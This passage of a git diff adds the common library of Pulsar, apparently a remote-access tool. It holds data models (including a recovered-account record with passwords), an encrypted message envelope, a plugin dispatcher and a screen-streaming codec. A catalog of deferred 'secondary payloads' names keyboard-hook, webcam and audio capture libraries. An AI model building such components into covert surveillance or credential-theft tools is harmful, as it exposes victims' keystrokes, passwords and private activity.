byte[] ZipFile { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Models/Process.cs b/Pulsar.Common/Models/Process.cs new file mode 100644 index 0000000..41ab3ae --- /dev/null +++ b/Pulsar.Common/Models/Process.cs @@ -0,0 +1,20 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class Process + { + [Key(1)] + public string Name { get; set; } + + [Key(2)] + public int Id { get; set; } + + [Key(3)] + public string MainWindowTitle { get; set; } + + [Key(4)] + public int? ParentId { get; set; } + } +} diff --git a/Pulsar.Common/Models/Query/Browsers.cs b/Pulsar.Common/Models/Query/Browsers.cs new file mode 100644 index 0000000..b971f22 --- /dev/null +++ b/Pulsar.Common/Models/Query/Browsers.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Models.Query.Browsers +{ + [MessagePackObject] + public class QueryBrowsers + { + [Key(1)] + public string Location { get; set; } + + [Key(2)] + public string Browser { get; set; } + } +} diff --git a/Pulsar.Common/Models/RecoveredAccount.cs b/Pulsar.Common/Models/RecoveredAccount.cs new file mode 100644 index 0000000..8d949cd --- /dev/null +++ b/Pulsar.Common/Models/RecoveredAccount.cs @@ -0,0 +1,20 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class RecoveredAccount + { + [Key(1)] + public string Username { get; set; } + + [Key(2)] + public string Password { get; set; } + + [Key(3)] + public string Url { get; set; } + + [Key(4)] + public string Application { get; set; } + } +} diff --git a/Pulsar.Common/Models/RegSeekerMatch.cs b/Pulsar.Common/Models/RegSeekerMatch.cs new file mode 100644 index 0000000..de952f3 --- /dev/null +++ b/Pulsar.Common/Models/RegSeekerMatch.cs @@ -0,0 +1,22 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class RegSeekerMatch + { + [Key(1)] + public string Key { get; set; } + + [Key(2)] + public RegValueData[] Data { get; set; } + + [Key(3)] + public bool HasSubKeys { get; set; } + + public override string ToString() + { + return $"({Key}:{Data})"; + } + } +} diff --git a/Pulsar.Common/Models/RegValueData.cs b/Pulsar.Common/Models/RegValueData.cs new file mode 100644 index 0000000..a944e87 --- /dev/null +++ b/Pulsar.Common/Models/RegValueData.cs @@ -0,0 +1,18 @@ +ο»Ώusing Microsoft.Win32; +using MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class RegValueData + { + [Key(1)] + public string Name { get; set; } + + [Key(2)] + public RegistryValueKind Kind { get; set; } + + [Key(3)] + public byte[] Data { get; set; } + } +} diff --git a/Pulsar.Common/Models/StartupItem.cs b/Pulsar.Common/Models/StartupItem.cs new file mode 100644 index 0000000..100b281 --- /dev/null +++ b/Pulsar.Common/Models/StartupItem.cs @@ -0,0 +1,18 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class StartupItem + { + [Key(1)] + public string Name { get; set; } + + [Key(2)] + public string Path { get; set; } + + [Key(3)] + public StartupType Type { get; set; } + } +} diff --git a/Pulsar.Common/Models/TcpConnection.cs b/Pulsar.Common/Models/TcpConnection.cs new file mode 100644 index 0000000..ad44b4d --- /dev/null +++ b/Pulsar.Common/Models/TcpConnection.cs @@ -0,0 +1,27 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class TcpConnection + { + [Key(1)] + public string ProcessName { get; set; } + + [Key(2)] + public string LocalAddress { get; set; } + + [Key(3)] + public ushort LocalPort { get; set; } + + [Key(4)] + public string RemoteAddress { get; set; } + + [Key(5)] + public ushort RemotePort { get; set; } + + [Key(6)] + public ConnectionState State { get; set; } + } +} diff --git a/Pulsar.Common/NativeMethods.cs b/Pulsar.Common/NativeMethods.cs new file mode 100644 index 0000000..75e6c67 --- /dev/null +++ b/Pulsar.Common/NativeMethods.cs @@ -0,0 +1,25 @@ +ο»Ώusing System; +using System.Runtime.InteropServices; + +namespace Pulsar.Common +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public class NativeMethods + { + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool DeleteFile(string name); + } +} diff --git a/Pulsar.Common/Networking/.DS_Store b/Pulsar.Common/Networking/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0(T message) where T : IMessage; + void Disconnect(); + } +} diff --git a/Pulsar.Common/Networking/SecureMessageEnvelopeHelper.cs b/Pulsar.Common/Networking/SecureMessageEnvelopeHelper.cs new file mode 100644 index 0000000..6c0b344 --- /dev/null +++ b/Pulsar.Common/Networking/SecureMessageEnvelopeHelper.cs @@ -0,0 +1,75 @@ +using Pulsar.Common.Cryptography; +using Pulsar.Common.Messages.Other; +using System; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace Pulsar.Common.Networking +{ + public static class SecureMessageEnvelopeHelper + { + public static bool CanUse(X509Certificate2 certificate) + { + return certificate != null && certificate.RawData != null && certificate.RawData.Length > 0; + } + + public static SecureMessageEnvelope Wrap(IMessage message, X509Certificate2 certificate) + { + if (message == null) + throw new ArgumentNullException(nameof(message)); + + if (message is SecureMessageEnvelope) + throw new InvalidOperationException("Message is already wrapped in a secure envelope."); + + if (!CanUse(certificate)) + throw new ArgumentException("A valid certificate is required to wrap the message.", nameof(certificate)); + + var serialized = PulsarMessagePackSerializer.Serialize(message); + var keyMaterial = DeriveKeyMaterial(certificate); + + var cipher = new Aes256(keyMaterial); + var payload = cipher.Encrypt(serialized); + + return new SecureMessageEnvelope + { + Payload = payload + }; + } + + public static IMessage Unwrap(SecureMessageEnvelope envelope, X509Certificate2 certificate) + { + if (envelope == null) + throw new ArgumentNullException(nameof(envelope)); + + if (envelope.Payload == null || envelope.Payload.Length == 0) + throw new ArgumentException("Envelope payload is empty.", nameof(envelope)); + + if (!CanUse(certificate)) + throw new ArgumentException("A valid certificate is required to unwrap the message.", nameof(certificate)); + + var keyMaterial = DeriveKeyMaterial(certificate); + + var cipher = new Aes256(keyMaterial); + var decrypted = cipher.Decrypt(envelope.Payload); + try + { + return PulsarMessagePackSerializer.Deserialize(decrypted); + } + catch (Exception ex) + { + throw new InvalidOperationException($"Failed to deserialize secure payload (length={decrypted?.Length ?? 0}).", ex); + } + } + + private static string DeriveKeyMaterial(X509Certificate2 certificate) + { + var thumbprint = certificate.Thumbprint?.Replace(" ", string.Empty)?.ToUpperInvariant(); + if (string.IsNullOrEmpty(thumbprint)) + throw new InvalidOperationException("Certificate thumbprint is unavailable for secure envelope key derivation."); + + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(thumbprint)); + return Convert.ToBase64String(hash); + } + + } +} diff --git a/Pulsar.Common/Plugins/IUniversalPlugin.cs b/Pulsar.Common/Plugins/IUniversalPlugin.cs new file mode 100644 index 0000000..2bd6f49 --- /dev/null +++ b/Pulsar.Common/Plugins/IUniversalPlugin.cs @@ -0,0 +1,30 @@ +using System; + +namespace Pulsar.Common.Plugins +{ + public interface IUniversalPlugin + { + string PluginId { get; } + string Version { get; } + string[] SupportedCommands { get; } + + void Initialize(Object initData); + PluginResult ExecuteCommand(string command, Object parameters); + void Cleanup(); + bool IsComplete { get; } + } + + public class PluginResult + { + public bool Success { get; set; } + public string Message { get; set; } + + // I haven't tested this too much but I would try and make sure + // that you only use primitive data types in this or well known data types + // Don't send back classes that can't be deserialized due to them not being in + // Pulsar.Server or Pulsar.Common. Otherwise you will get serialization issues. + public Object Data { get; set; } + public bool ShouldUnload { get; set; } + public string NextCommand { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Plugins/UniversalPluginDispatcher.cs b/Pulsar.Common/Plugins/UniversalPluginDispatcher.cs new file mode 100644 index 0000000..85d178b --- /dev/null +++ b/Pulsar.Common/Plugins/UniversalPluginDispatcher.cs @@ -0,0 +1,90 @@ +using Pulsar.Common.Plugins; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; + +namespace Pulsar.Common.Plugins +{ + public static class UniversalPluginDispatcher + { + private static readonly ConcurrentDictionary LoadedPlugins = new ConcurrentDictionary(); + private static readonly ConcurrentDictionary PluginLoadTimes = new ConcurrentDictionary(); + + public static void RegisterPlugin(string pluginId, object plugin) + { + LoadedPlugins[pluginId] = plugin; + PluginLoadTimes[pluginId] = DateTime.UtcNow; + } + + public static object ExecuteCommand(string pluginId, string command, byte[] parameters) + { + if (!LoadedPlugins.TryGetValue(pluginId, out var plugin)) + { + return CreatePluginResult(false, "Plugin not found", false); + } + + try + { + var executeMethod = plugin.GetType().GetMethod("ExecuteCommand"); + var result = executeMethod.Invoke(plugin, new object[] { command, parameters }); + var isCompleteProperty = plugin.GetType().GetProperty("IsComplete"); + bool isComplete = isCompleteProperty != null ? (bool)isCompleteProperty.GetValue(plugin) : false; + var shouldUnloadProperty = result.GetType().GetProperty("ShouldUnload"); + bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false; + + if (shouldUnload || isComplete) + { + UnloadPlugin(pluginId); + } + + return result; + } + catch (Exception ex) + { + UnloadPlugin(pluginId); + return CreatePluginResult(false, ex.Message, false); + } + } + + private static object CreatePluginResult(bool success, string message, bool shouldUnload) + { + var pluginResultType = typeof(PluginResult); + var result = Activator.CreateInstance(pluginResultType); + var successProperty = pluginResultType.GetProperty("Success"); + var messageProperty = pluginResultType.GetProperty("Message"); + var shouldUnloadProperty = pluginResultType.GetProperty("ShouldUnload"); + + successProperty?.SetValue(result, success); + messageProperty?.SetValue(result, message); + shouldUnloadProperty?.SetValue(result, shouldUnload); + + return result; + } + + public static void UnloadPlugin(string pluginId) + { + if (LoadedPlugins.TryRemove(pluginId, out var plugin)) + { + try + { + var cleanupMethod = plugin.GetType().GetMethod("Cleanup"); + cleanupMethod?.Invoke(plugin, null); + } + catch { } + PluginLoadTimes.TryRemove(pluginId, out _); + } + } + + public static bool IsPluginLoaded(string pluginId) + { + return LoadedPlugins.ContainsKey(pluginId); + } + + public static string[] GetLoadedPluginIds() + { + return LoadedPlugins.Keys.ToArray(); + } + } +} diff --git a/Pulsar.Common/Properties/AssemblyInfo.cs b/Pulsar.Common/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..7afab00 --- /dev/null +++ b/Pulsar.Common/Properties/AssemblyInfo.cs @@ -0,0 +1,37 @@ +ο»Ώusing System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Pulsar Common")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Pulsar")] +[assembly: AssemblyCopyright("Copyright Β© PulsarTeam 2025")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Pulsar.Common.Tests")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("c7c363ba-e5b6-4e18-9224-39bc8da73172")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("2.4.5")] +[assembly: AssemblyFileVersion("2.4.5")] diff --git a/Pulsar.Common/Pulsar.Common.csproj b/Pulsar.Common/Pulsar.Common.csproj new file mode 100644 index 0000000..ef7c2a2 --- /dev/null +++ b/Pulsar.Common/Pulsar.Common.csproj @@ -0,0 +1,70 @@ +ο»Ώ + + net48;net9.0-windows + Library + false + Debug;Release;ReleaseWithDonut + AnyCPU;x64 + + + ..\bin\Debug\ + true + + + + ..\bin\Debug\ + true + + + + none + ..\bin\Release\ + true + + + none + ..\bin\Release\ + true + + + none + ..\bin\Release\ + true + + + none + ..\bin\Release\ + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Common/UAC/UAC.cs b/Pulsar.Common/UAC/UAC.cs new file mode 100644 index 0000000..f6afa3c --- /dev/null +++ b/Pulsar.Common/UAC/UAC.cs @@ -0,0 +1,20 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Principal; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Common.UAC +{ + public class UAC + { + // https://stackoverflow.com/questions/11660184/c-sharp-check-if-run-as-administrator + public static bool IsAdministrator() + { + var identity = WindowsIdentity.GetCurrent(); + var principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + } +} diff --git a/Pulsar.Common/Utilities/ByteConverter.cs b/Pulsar.Common/Utilities/ByteConverter.cs new file mode 100644 index 0000000..88b1f71 --- /dev/null +++ b/Pulsar.Common/Utilities/ByteConverter.cs @@ -0,0 +1,135 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Text; + +namespace Pulsar.Common.Utilities +{ + public class ByteConverter + { + private static byte NULL_BYTE = byte.MinValue; + + public static byte[] GetBytes(int value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(long value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(uint value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(ulong value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(string value) + { + return StringToBytes(value); + } + + public static byte[] GetBytes(string[] value) + { + return StringArrayToBytes(value); + } + + public static int ToInt32(byte[] bytes) + { + return BitConverter.ToInt32(bytes, 0); + } + + public static long ToInt64(byte[] bytes) + { + return BitConverter.ToInt64(bytes, 0); + } + + public static uint ToUInt32(byte[] bytes) + { + return BitConverter.ToUInt32(bytes, 0); + } + + public static ulong ToUInt64(byte[] bytes) + { + return BitConverter.ToUInt64(bytes, 0); + } + + public static string ToString(byte[] bytes) + { + return BytesToString(bytes); + } + + public static string[] ToStringArray(byte[] bytes) + { + return BytesToStringArray(bytes); + } + + private static byte[] GetNullBytes() + { + //Null bytes: 00 00 + return new byte[] { NULL_BYTE, NULL_BYTE }; + } + + private static byte[] StringToBytes(string value) + { + byte[] bytes = new byte[value.Length * sizeof(char)]; + Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length); + return bytes; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List bytes = new List(); + + foreach (string str in strings) + { + bytes.AddRange(StringToBytes(str)); + bytes.AddRange(GetNullBytes()); + } + + return bytes.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); + char[] chars = new char[nrChars]; + Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); + return new string(chars); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List strings = new List(); + + int i = 0; + StringBuilder strBuilder = new StringBuilder(bytes.Length); + while (i < bytes.Length) + { + //Holds the number of nulls (3 nulls indicated end of a string) + int nullcount = 0; + while (i < bytes.Length && nullcount < 3) + { + if (bytes[i] == NULL_BYTE) + { + nullcount++; + } + else + { + strBuilder.Append(Convert.ToChar(bytes[i])); + nullcount = 0; + } + i++; + } + strings.Add(strBuilder.ToString()); + strBuilder.Clear(); + } + + return strings.ToArray(); + } + } +} diff --git a/Pulsar.Common/Utilities/DeferredAssemblyCatalog.cs b/Pulsar.Common/Utilities/DeferredAssemblyCatalog.cs new file mode 100644 index 0000000..17ec64d --- /dev/null +++ b/Pulsar.Common/Utilities/DeferredAssemblyCatalog.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.Linq; + +namespace Pulsar.Common.Utilities +{ + /// + /// Defines the set of assemblies that are considered secondary payloads and may be delivered on-demand. + /// + public static class DeferredAssemblyCatalog + { + private static readonly string[] _secondaryAssemblies = new[] + { + "AForge", + "AForge.Video", + "AForge.Video.DirectShow", + "Gma.System.MouseKeyHook", + "NAudio.Core", + "NAudio.Wasapi", + "NAudio.WinForms", + "NAudio.WinMM", + "SharpDX", + "SharpDX.Direct2D1", + "SharpDX.Direct3D11", + "SharpDX.DXGI", + "SharpDX.D3DCompiler", + "SharpDX.Mathematics" + }; + + private static readonly ReadOnlyCollection _secondaryAssembliesReadonly = + Array.AsReadOnly(_secondaryAssemblies); + + private static readonly HashSet _secondaryAssembliesSet = + new HashSet(_secondaryAssemblies, StringComparer.OrdinalIgnoreCase); + + /// + /// Gets the ordered list of assemblies that should be delivered after the initial connection. + /// + public static IReadOnlyList SecondaryAssemblies => _secondaryAssembliesReadonly; + + /// + /// Checks whether the provided assembly name is part of the deferred assembly list. + /// + /// The simple assembly name. + public static bool IsDeferredAssembly(string assemblyName) + { + if (string.IsNullOrWhiteSpace(assemblyName)) + { + return false; + } + + return _secondaryAssembliesSet.Contains(assemblyName); + } + } +} diff --git a/Pulsar.Common/Utilities/SafeRandom.cs b/Pulsar.Common/Utilities/SafeRandom.cs new file mode 100644 index 0000000..2162d54 --- /dev/null +++ b/Pulsar.Common/Utilities/SafeRandom.cs @@ -0,0 +1,54 @@ +ο»Ώusing System; +using System.Security.Cryptography; + +namespace Pulsar.Common.Utilities +{ + /// + /// Thread-safe random number generator. + /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx + /// + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/Pulsar.Common/Video/.DS_Store b/Pulsar.Common/Video/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..19ea7b5d05d2829f6398d648b85c80027945e019 GIT binary patch literal 6148 zcmeHKOHRW;47E!IMcs7Ca<0%Dgb-LGRqRn41V{~usMyb)H~}lJ#q&oMA&uA}Kz8JL z6OTP{UOt{7A}(L*CDDS2W>CS&DVhT!iO2Dp)vX zL;ZE2(JcUQ3bP9Ox;6qPF#rq4YzPa4Efi>>>{|@BaM+Xk6^_}^!in|Dn8&ZozC&SO znQ>Bg;=(Z6U?3RiGjL?53#tE? _workingBlocks = new List(); + private readonly List _finalUpdates = new List(); + + private readonly byte[] _metadataBuffer = new byte[20]; // 5 * sizeof(int) + private readonly byte[] _lengthBuffer = new byte[4]; + + /// + /// Initialize a new instance of UnsafeStreamCodec class. + /// + /// The quality to use between 0-100. + /// The monitor used for the images. + /// The resolution of the monitor. + public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution) + { + if (imageQuality < 0 || imageQuality > 100) + throw new ArgumentOutOfRangeException("imageQuality", "Image quality must be between 0 and 100"); + + this.ImageQuality = imageQuality; + this.Monitor = monitor; + this.Resolution = resolution; + this.CheckBlock = new Size(50, 1); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (_disposed) return; + + if (disposing) + { + if (_decodedBitmap != null) + { + _decodedBitmap.Dispose(); + } + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + } + + _disposed = true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int GetPixelSize(PixelFormat format) + { + switch (format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + return 3; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + return 4; + default: + throw new NotSupportedException(string.Format("Pixel format {0} is not supported", format)); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static unsafe byte* GetScan0Pointer(IntPtr scan0) + { + if (IntPtr.Size == 8) + { + return (byte*)scan0.ToInt64(); + } + else + { + return (byte*)scan0.ToInt32(); + } + } + + public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream) + { + if (_disposed) throw new ObjectDisposedException("UnsafeStreamCodec"); + if (!outStream.CanWrite) throw new ArgumentException("Stream must be writable", "outStream"); + + lock (_imageProcessLock) + { + byte* pScan0 = GetScan0Pointer(scan0); + int pixelSize = GetPixelSize(format); + int stride = imageSize.Width * pixelSize; + int rawLength = stride * imageSize.Height; + + if (_encodeBuffer == null) + { + InitializeEncodeBuffer(scan0, imageSize, format, stride, rawLength, outStream); + return; + } + + ValidateImageFormat(format, imageSize); + + long startPosition = outStream.Position; + outStream.Write(new byte[4], 0, 4); + + ProcessImageBlocks(pScan0, scanArea, stride, pixelSize, outStream); + + long totalLength = outStream.Position - startPosition - 4; + outStream.Position = startPosition; + outStream.Write(BitConverter.GetBytes(totalLength), 0, 4); + outStream.Position = startPosition + 4 + totalLength; + } + } + + private unsafe void InitializeEncodeBuffer(IntPtr scan0, Size imageSize, PixelFormat format, + int stride, int rawLength, Stream outStream) + { + this._encodedFormat = format; + this._encodedWidth = imageSize.Width; + this._encodedHeight = imageSize.Height; + this._encodeBuffer = new byte[rawLength]; + + fixed (byte* ptr = _encodeBuffer) + { + using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) + { + byte[] compressed = _jpgCompression.Compress(tmpBmp); + + outStream.Write(BitConverter.GetBytes(compressed.Length), 0, 4); + outStream.Write(compressed, 0, compressed.Length); + NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength); + } + } + } + + private void ValidateImageFormat(PixelFormat format, Size imageSize) + { + if (this._encodedFormat != format) + throw new InvalidOperationException("PixelFormat differs from previous bitmap"); + + if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) + throw new InvalidOperationException("Bitmap dimensions differ from previous bitmap"); + } + + private unsafe void ProcessImageBlocks(byte* pScan0, Rectangle scanArea, int stride, + int pixelSize, Stream outStream) + { + _workingBlocks.Clear(); + _finalUpdates.Clear(); + + fixed (byte* encBuffer = _encodeBuffer) + { + DetectChangedRows(encBuffer, pScan0, scanArea, stride, pixelSize); + + DetectChangedColumns(encBuffer, pScan0, scanArea, stride, pixelSize); + + WriteCompressedBlocks(pScan0, stride, pixelSize, outStream); + } + } + + private unsafe void DetectChangedRows(byte* encBuffer, byte* pScan0, Rectangle scanArea, + int stride, int pixelSize) + { + Size blockSize = new Size(scanArea.Width, CheckBlock.Height); + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + int lastY = scanArea.Height - lastSize.Height; + + for (int y = scanArea.Y; y < scanArea.Height; y += blockSize.Height) + { + if (y == lastY) + blockSize = new Size(scanArea.Width, lastSize.Height); + + Rectangle currentBlock = new Rectangle(scanArea.X, y, scanArea.Width, blockSize.Height); + int offset = (y * stride) + (scanArea.X * pixelSize); + + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) + { + if (_workingBlocks.Count > 0) + { + int lastIndex = _workingBlocks.Count - 1; + Rectangle lastBlock = _workingBlocks[lastIndex]; + + if (lastBlock.Y + lastBlock.Height == currentBlock.Y) + { + _workingBlocks[lastIndex] = new Rectangle(lastBlock.X, lastBlock.Y, + lastBlock.Width, lastBlock.Height + currentBlock.Height); + continue; + } + } + + _workingBlocks.Add(currentBlock); + } + } + } + + private unsafe void DetectChangedColumns(byte* encBuffer, byte* pScan0, Rectangle scanArea, + int stride, int pixelSize) + { + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + int lastX = scanArea.Width - lastSize.Width; + + for (int i = 0; i < _workingBlocks.Count; i++) + { + Rectangle block = _workingBlocks[i]; + Size columnSize = new Size(CheckBlock.Width, block.Height); + + for (int x = scanArea.X; x < scanArea.Width; x += columnSize.Width) + { + if (x == lastX) + columnSize = new Size(lastSize.Width, block.Height); + + Rectangle currentBlock = new Rectangle(x, block.Y, columnSize.Width, block.Height); + + if (HasBlockChanged(encBuffer, pScan0, currentBlock, stride, pixelSize)) + { + UpdateEncodeBuffer(encBuffer, pScan0, currentBlock, stride, pixelSize); + MergeOrAddBlock(currentBlock); + } + } + } + } + + private unsafe bool HasBlockChanged(byte* encBuffer, byte* pScan0, Rectangle block, + int stride, int pixelSize) + { + uint blockStride = (uint)(pixelSize * block.Width); + + for (int j = 0; j < block.Height; j++) + { + int blockOffset = (stride * (block.Y + j)) + (pixelSize * block.X); + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) + return true; + } + + return false; + } + + private unsafe void UpdateEncodeBuffer(byte* encBuffer, byte* pScan0, Rectangle block, + int stride, int pixelSize) + { + uint blockStride = (uint)(pixelSize * block.Width); + + for (int j = 0; j < block.Height; j++) + { + int blockOffset = (stride * (block.Y + j)) + (pixelSize * block.X); + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); + } + } + + private void MergeOrAddBlock(Rectangle currentBlock) + { + if (_finalUpdates.Count > 0) + { + int lastIndex = _finalUpdates.Count - 1; + Rectangle lastBlock = _finalUpdates[lastIndex]; + + if (lastBlock.X + lastBlock.Width == currentBlock.X && lastBlock.Y == currentBlock.Y) + { + _finalUpdates[lastIndex] = new Rectangle(lastBlock.X, lastBlock.Y, + lastBlock.Width + currentBlock.Width, lastBlock.Height); + return; + } + } + + _finalUpdates.Add(currentBlock); + } + + private unsafe void WriteCompressedBlocks(byte* pScan0, int stride, int pixelSize, Stream outStream) + { + for (int i = 0; i < _finalUpdates.Count; i++) + { + WriteCompressedBlock(pScan0, _finalUpdates[i], stride, pixelSize, outStream); + } + } + + private unsafe void WriteCompressedBlock(byte* pScan0, Rectangle rect, int stride, + int pixelSize, Stream outStream) + { + int blockStride = pixelSize * rect.Width; + + Array.Copy(BitConverter.GetBytes(rect.X), 0, _metadataBuffer, 0, 4); + Array.Copy(BitConverter.GetBytes(rect.Y), 0, _metadataBuffer, 4, 4); + Array.Copy(BitConverter.GetBytes(rect.Width), 0, _metadataBuffer, 8, 4); + Array.Copy(BitConverter.GetBytes(rect.Height), 0, _metadataBuffer, 12, 4); + + outStream.Write(_metadataBuffer, 0, 20); + + long lengthPosition = outStream.Position - 4; + long dataStart = outStream.Position; + + Bitmap tmpBmp = null; + BitmapData tmpData = null; + + try + { + tmpBmp = new Bitmap(rect.Width, rect.Height, this._encodedFormat); + tmpData = tmpBmp.LockBits(new Rectangle(0, 0, rect.Width, rect.Height), + ImageLockMode.ReadWrite, tmpBmp.PixelFormat); + + CopyBlockData(pScan0, (byte*)tmpData.Scan0.ToPointer(), rect, stride, blockStride); + _jpgCompression.Compress(tmpBmp, outStream); + } + finally + { + if (tmpData != null) + tmpBmp.UnlockBits(tmpData); + if (tmpBmp != null) + tmpBmp.Dispose(); + } + + long dataLength = outStream.Position - dataStart; + long currentPosition = outStream.Position; + outStream.Position = lengthPosition; + outStream.Write(BitConverter.GetBytes(dataLength), 0, 4); + outStream.Position = currentPosition; + } + + private unsafe void CopyBlockData(byte* source, byte* destination, Rectangle rect, + int stride, int blockStride) + { + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (stride * (rect.Y + j)) + (rect.X * GetPixelSize(this._encodedFormat)); + NativeMethods.memcpy(destination + offset, source + blockOffset, (uint)blockStride); + offset += blockStride; + } + } + + public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) + { + if (_disposed) throw new ObjectDisposedException("UnsafeStreamCodec"); + if (length < 4) return _decodedBitmap; + + int dataSize = *(int*)codecBuffer; + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), + new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize); + } + + using (MemoryStream stream = new MemoryStream(temp, 0, dataSize)) + { + this._decodedBitmap = (Bitmap)Bitmap.FromStream(stream); + } + } + + return _decodedBitmap; + } + + public Bitmap DecodeData(Stream inStream) + { + if (_disposed) throw new ObjectDisposedException("UnsafeStreamCodec"); + + inStream.Read(_lengthBuffer, 0, 4); + int dataSize = BitConverter.ToInt32(_lengthBuffer, 0); + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + inStream.Read(temp, 0, dataSize); + + using (MemoryStream stream = new 